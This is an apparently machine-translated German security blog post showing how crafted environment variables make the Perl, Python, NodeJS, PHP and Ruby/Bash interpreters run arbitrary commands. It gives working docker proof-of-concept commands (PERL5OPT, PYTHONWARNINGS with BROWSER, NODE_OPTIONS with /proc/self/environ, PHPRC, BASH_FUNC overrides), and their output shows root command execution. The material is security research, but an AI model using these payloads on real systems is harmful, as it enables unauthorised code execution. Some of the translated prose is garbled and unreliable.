Tricks mit Umgebungsvariablen

Interessante Umgebungsvariablen zum Laden in Skriptsprachendolmetscher



Einführung



In einem kürzlich durchgeführten Hacking-Projekt konnten wir Umgebungsvariablen angeben, jedoch keinen laufenden Prozess. Wir konnten auch den Inhalt der Datei auf der Festplatte nicht kontrollieren, und Brute-Force-Prozesskennungen (PIDs) und Dateideskriptoren lieferten keine interessanten Ergebnisse, mit Ausnahme von Remote-LD_PRELOAD-Exploits . Glücklicherweise wurde ein Skriptspracheninterpreter ausgeführt, der es uns ermöglichte, beliebige Befehle auszuführen, indem bestimmte Umgebungsvariablen festgelegt wurden. In diesem Blog wird erläutert, wie beliebige Befehle von einer Reihe von Skriptsprachendolmetschern unter schädlichen Umgebungsvariablen ausgeführt werden können.



Perl



Eine flüchtige Lektüre des ENVIRONMENTManpage- Abschnitts perlrun(1)zeigt viele Umgebungsvariablen, die es wert sind, untersucht zu werden. Mit der Umgebungsvariablen PERL5OPTkönnen Sie Befehlszeilenoptionen festlegen, sie können jedoch nur Optionen akzeptieren CDIMTUWdmtw. Leider bedeutet dies einen Mangel -e, der es ermöglicht, Perl-Code zum Ausführen zu laden.



Es ist jedoch nicht alles verloren, wie der Exploit für CVE-2016-1531 von Hacker Fantastic zeigt . Der Exploit schreibt ein böswilliges Perl-Modul in eine Datei /tmp/root.pmund stellt Umgebungsvariablen PERL5OPT=-Mrootsowie die PERL5LIB=/ tmpAusführung von beliebigem Code bereit . Dies war jedoch ein Exploit für eine Sicherheitsanfälligkeit bezüglich der Eskalation lokaler Berechtigungen, und die generische Methode sollte idealerweise keinen Zugriff auf das Dateisystem erfordern. AnschauenExploit von blasty für die CVE gleiche, er nicht die Erstellung einer Datei, die Verwendung von Umgebungsvariablen erforderlich war PERL5OPT=-dund PERL5DB=system("sh");exit;. Dieselben Variablen wurden 2013 zur Lösung des CTF-Problems verwendet .



Die letzte Feinheit der generischen Methode besteht darin, eine Umgebungsvariable anstelle von zwei zu verwenden. @justinsteven entdeckte, dass dies mit möglich ist PERL5OPT=-M. Während Sie das Perl-Modul herunterladen, können Sie entweder -moder verwenden -M. Mit einer Option -Mkönnen Sie jedoch zusätzlichen Code nach dem Modulnamen hinzufügen.



Konzeptioneller Beweiß



Beispiel 0: Ausführen von beliebigem Code mit einer Umgebungsvariablen im Vergleich zu Perl, das ein leeres Skript ausführt (/ dev / null)



$ docker run --env 'PERL5OPT=-Mbase;print(`id`)' perl:5.30.2 perl /dev/null
uid=0(root) gid=0(root) groups=0(root)


Python



Nach dem Abschnitt ENVIRONMENT VARIABLESin Mana zu urteilen python(1), PYTHONSTARTUPsieht es zunächst nach einer einfachen Lösung aus. Hier können Sie den Pfad zu einem Python-Skript angeben, das ausgeführt wird, bevor die Eingabeaufforderung interaktiv angezeigt wird. Die Anforderung für den interaktiven Modus schien kein Problem zu sein, da eine Umgebungsvariable PYTHONINSPECTwie -iin der Befehlszeile zum Aufrufen des interaktiven Modus verwendet werden kann . In der Dokumentation zu dieser Option wird jedoch -ierläutert, was PYTHONSTARTUPnicht verwendet wird, wenn Python mit einem auszuführenden Skript gestartet wird. Dies bedeutet, dass PYTHONSTARTUPbeide PYTHONINSPECTnicht kombiniert werden können und PYTHONSTARTUPnur dann wirksam werden, wenn Python REPL sofort gestartet wird. Dies bedeutet letztendlich, dassPYTHONSTARTUPNicht realisierbar, da es keine Auswirkung hat, wenn ein reguläres Python-Skript ausgeführt wird.



Umgebungsvariablen PYTHONHOMEund sah vielversprechend aus PYTHONPATH. Beide ermöglichen die Ausführung von beliebigem Code, erfordern jedoch, dass Sie Verzeichnisse und Dateien auch im Dateisystem erstellen können. Möglicherweise können diese Anforderungen mithilfe eines virtuellen / proc-Dateisystems und / oder von ZIP-Dateien gelockert werden.



Die meisten anderen Umgebungsvariablen werden einfach auf eine nicht leere Zeichenfolge überprüft und enthalten in diesem Fall eine allgemein harmlose Einstellung. Eine der seltenen Ausnahmen ist PYTHONWARNINGS.



Arbeiten mit PYTHONWARNINGS



Die Dokumentation für PYTHONWARNINGSbesagt, dass dies der Angabe eines Parameters entspricht -W. Dieser Parameter wird -Wfür die Warnungsverwaltung verwendet, um Warnungen anzugeben und wie oft sie angezeigt werden sollen. Die vollständige Form des Arguments ist action:message:category:module:line. Die Überwachung von Warnungen schien zwar kein vielversprechender Hinweis zu sein, änderte sich jedoch nach dem Testen der Implementierung schnell.



Beispiel 1: Python-3.8.2 / Lib / warnings.py



[...]
def _getcategory(category):
    if not category:
        return Warning
    if '.' not in category:
        import builtins as m
        klass = category
    else:
        module, _, klass = category.rpartition('.')
        try:
            m = __import__(module, None, None, [klass])
        except ImportError:
            raise _OptionError("invalid module name: %r" % (module,)) from None
[...]


Dieser Code zeigt, dass wir mit dem Import eines beliebigen Python-Moduls beginnen können, solange unsere angegebene Kategorie einen Punkt enthält.



Das nächste Problem ist, dass die überwiegende Mehrheit der Module aus der Python-Standardbibliothek beim Importieren nur sehr wenig Code ausführt. Sie definieren normalerweise nur die Klassen, die später verwendet werden sollen, und selbst wenn sie Code zum Ausführen bereitstellen, wird der Code normalerweise durch Überprüfen der Variablen __main__ geschützt (um festzustellen, ob die Datei importiert oder direkt ausgeführt wurde).



Eine unerwartete Ausnahme von dieser Regel ist das Antigravitationsmodul . Die Python-Entwickler haben 2008 ein Osterei hinzugefügt , das durch Ausführen aufgerufen werden kannimport antigravity... Dieser Import öffnet sofort einen xkcd-Comic in Ihrem Browser und scherzt, dass der Antigravitationsimport in Python das Fliegen ermöglicht.



Wie das Modul antigravityIhren Browser öffnet, verwendet ein anderes Modul aus der Standardbibliothek namens webbrowser. Dieses Modul überprüft Ihren PFAD auf eine Vielzahl von Browsern, darunter Mosaik, Oper, Skipstone, Konqueror, Chrom, Chrom, Firefox, Links, Elinks und Luchs. Es akzeptiert auch eine Umgebungsvariable, die BROWSERangibt, welcher Prozess ausgeführt werden soll. In einer Umgebungsvariablen können dem Prozess keine Argumente bereitgestellt werden, und die xkcd-URL des Comics ist das einzige fest codierte Argument für den Befehl.



Die Möglichkeit, dies in eine beliebige Codeausführung umzuwandeln, hängt davon ab, welche anderen ausführbaren Dateien auf dem System verfügbar sind.



Verwenden von Perl zum Ausführen von beliebigem Code



Ein Ansatz ist die Verwendung von Perl, das normalerweise auf dem System installiert ist und sogar im Standard-Python-Docker-Image verfügbar ist. Sie können die Binärdatei jedoch nicht perlalleine verwenden, da das erste und einzige Argument die xkcd-URL des Comics ist. Dieses Argument löst einen Fehler aus und der Prozess wird ohne Verwendung einer Umgebungsvariablen beendet PERL5OPT.



Beispiel 2: PERL5OPT hat keine Auswirkung, wenn eine URL an Perl übergeben wird



$ docker run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perl https://xkcd.com/353/
Can't open perl script "https://xkcd.com/353/": No such file or directory


Glücklicherweise sind, wenn Perl verfügbar ist, häufig auch Standard-Perl-Skripte wie Perldoc und Perlthanks verfügbar. Diese Skripte schlagen auch mit einem ungültigen Argument fehl, aber der Fehler tritt in diesem Fall später als bei der Verarbeitung der Umgebungsvariablen PERL5OPT auf. Dies bedeutet, dass Sie die zuvor in diesem Blog beschriebene Nutzlast der Perl-Umgebungsvariablen verwenden können.



Beispiel 3: PERL5OPT funktioniert erwartungsgemäß mit Perldoc und Perlthanks



$ docker run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perldoc https://xkcd.com/353/
uid=0(root) gid=0(root) groups=0(root)
$ run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perlthanks https://xkcd.com/353/
uid=0(root) gid=0(root) groups=0(root)


Konzeptioneller Beweiß



Beispiel 4: Ausführen von beliebigem Code mithilfe mehrerer Umgebungsvariablen mit Python 2 und Python 3



$ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:2.7.18 python /dev/null
uid=0(root) gid=0(root) groups=0(root)
Invalid -W option ignored: unknown warning category: 'antigravity.x'

$ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:3.8.2 python /dev/null
uid=0(root) gid=0(root) groups=0(root)
Invalid -W option ignored: unknown warning category: 'antigravity.x'


NodeJS



Michal Bentkowski hat die Nutzlast für den Kibana-Exploit (CVE-2019-7609) in seinem Blog veröffentlicht . Ein Prototyp einer Verschmutzungsanfälligkeit wurde verwendet, um beliebige Umgebungsvariablen festzulegen, die zu einer willkürlichen Befehlsausführung führten. Die Nutzlast von Michal verwendet , um die Umgebungsvariable NODE_OPTIONSund das proc - Dateisystem , insbesondere /proc/self/environ.



Während Michals Technik kreativ ist und in seinem Fall großartig funktioniert, ist es nicht immer garantiert, dass sie funktioniert, und es gibt einige Einschränkungen, die sich gut ansprechen lassen.



Die erste Einschränkung ist, dass es verwendet/proc/self/environNur wenn der Inhalt durch JavaScript syntaktisch gültig gemacht werden kann. Dazu müssen Sie in der Lage sein, eine Umgebungsvariable zu erstellen und sie zuerst im Inhalt der Datei erscheinen zu lassen /proc/self/environoder den Namen der zuerst angezeigten Umgebungsvariablen zu kennen / zu betrügen und ihren Wert zu überschreiben.



Eine weitere Einschränkung besteht darin, dass der Wert der ersten Umgebungsvariablen mit einem einzeiligen Kommentar (//) endet. Daher verursacht jedes Zeilenumbruchzeichen in anderen Umgebungsvariablen wahrscheinlich einen Syntaxfehler und verhindert, dass die Nutzdaten ausgeführt werden. Die Verwendung mehrzeiliger Kommentare (/ *) behebt das Problem nicht, da sie geschlossen werden müssen, um syntaktisch korrekt zu sein. In den seltenen Fällen, in denen eine Umgebungsvariable ein Zeilenumbruchzeichen enthält, ist es daher erforderlich, den Namen der Umgebungsvariablen zu kennen / zu deaktivieren und ihren Wert mit einem neuen Wert zu überschreiben, der keinen Zeilenumbruch enthält.



Wir werden die Beseitigung dieser Einschränkungen als Übung für den Leser überlassen.



Konzeptioneller Beweiß



Beispiel 5. Ausführen von beliebigem Code mit Umgebungsvariablen gegen Michal Bentkowskis NodeJS



$ docker run -e 'NODE_VERSION=console.log(require("child_process").execSync("id").toString());//' -e 'NODE_OPTIONS=--require /proc/self/environ' node:14.2.0 node /dev/null
uid=0(root) gid=0(root) groups=0(root)


PHP



Wenn Sie es ausführen ltrace -e getenv php /dev/null, werden Sie feststellen, dass PHP eine Umgebungsvariable verwendet PHPRC. Die Umgebungsvariable wird verwendet, wenn versucht wird, eine Konfigurationsdatei zu finden und zu laden php.ini. Der Neex-Exploit für CVE-2019-11043 verwendet eine Reihe von PHP-Parametern , um die Ausführung von beliebigem Code zu erzwingen. In Orange hat Tsai auch einen ausgezeichneten Beitrag über das Erstellen eines eigenen Exploits für das CVE, das eine etwas andere Liste von Einstellungen verwendet. Unter Verwendung dieses Wissens wurde zusammen mit den Erkenntnissen aus früheren NodeJS-Techniken und der Hilfe von Brendan Scarwell eine PHP-Lösung mit zwei Umgebungsvariablen gefunden.



Diese Methode hat die gleichen Einschränkungen wie die NodeJS-Beispiele.



Konzeptioneller Beweiß



Beispiel 6: Ausführen von beliebigem Code mit Umgebungsvariablen gegen PHP



$ docker run -e $'HOSTNAME=1;\nauto_prepend_file=/proc/self/environ\n;<?php die(`id`); ?>' -e 'PHPRC=/proc/self/environ' php:7.3 php /dev/null
HOSTNAME=1;
auto_prepend_file=/proc/self/environ
;uid=0(root) gid=0(root) groups=0(root)


Rubin



Es wurde noch keine universelle Lösung für Ruby gefunden. Ruby akzeptiert eine Umgebungsvariable RUBYOPT, um Befehlszeilenoptionen anzugeben. Die Manpage sagt, dass RUBYOPT nur enthalten kann -d, -E, -I, -K, -r, -T, -U, -v, -w, -W, --debug, --disable-FEATURE --enable-FEATURE. Die vielversprechendste Option besteht darin -r, Ruby zu zwingen, die Bibliothek mit require zu laden. Dies ist jedoch auf Dateien mit der Erweiterung .rboder beschränkt .so.



Ein Beispiel für eine relativ nützliche Datei, die ich gefunden habe, .rbstammt tools/server.rbaus dem json gem, das nach der Installation von Ruby auf Fedora-Systemen verfügbar ist. Wenn diese Datei benötigt wird, wird der Webserver wie folgt gestartet:



Beispiel 7: Verwenden der Umgebungsvariablen RUBYOPT, um den Ruby-Prozess zu starten und den Webserver zu starten



$ docker run -it --env 'RUBYOPT=-r/usr/share/gems/gems/json-2.3.0/tools/server.rb' fedora:33 /bin/bash -c 'dnf install -y ruby 1>/dev/null; ruby /dev/null'
Surf to:
http://27dfc3850fbe:6666
[2020-06-17 05:43:47] INFO  WEBrick 1.6.0
[2020-06-17 05:43:47] INFO  ruby 2.7.1 (2020-03-31) [x86_64-linux]
[2020-06-17 05:43:47] INFO  WEBrick::HTTPServer#start: pid=28 port=6666


Ein weiterer Ansatz in Fedora besteht darin, die Tatsache auszunutzen, dass /usr/bin/rubytatsächlich ein Bash-Skript gestartet wird /usr/bin/ruby-mri. Das Skript ruft Bash-Funktionen auf, die von Umgebungsvariablen überschrieben werden können.



Konzeptioneller Beweiß



Beispiel 8: Verwenden einer exportierten Bash-Funktion zum Ausführen eines beliebigen Befehls



$ docker run --env 'BASH_FUNC_declare%%=() { id; exit; }' fedora:33 /bin/bash -c 'dnf install ruby -y 1>/dev/null; ruby /dev/null'
uid=0(root) gid=0(root) groups=0(root)


Fazit



In diesem Beitrag wurden einige interessante Anwendungsfälle für Umgebungsvariablen untersucht, die dazu beitragen können, eine beliebige Codeausführung durch verschiedene Skriptspracheninterpreter zu erreichen, ohne Dateien auf die Festplatte zu schreiben. Ich hoffe, Sie haben viel Spaß beim Lesen und waren daran interessiert, verbesserte Nutzdaten für diese und andere Skriptsprachen zu finden und zu teilen. Wenn Sie eine generische Technik finden, die gegen Ruby funktioniert, wird es sehr interessant sein, davon zu hören.



Siehe auch: " Dotfile Madness "



All Articles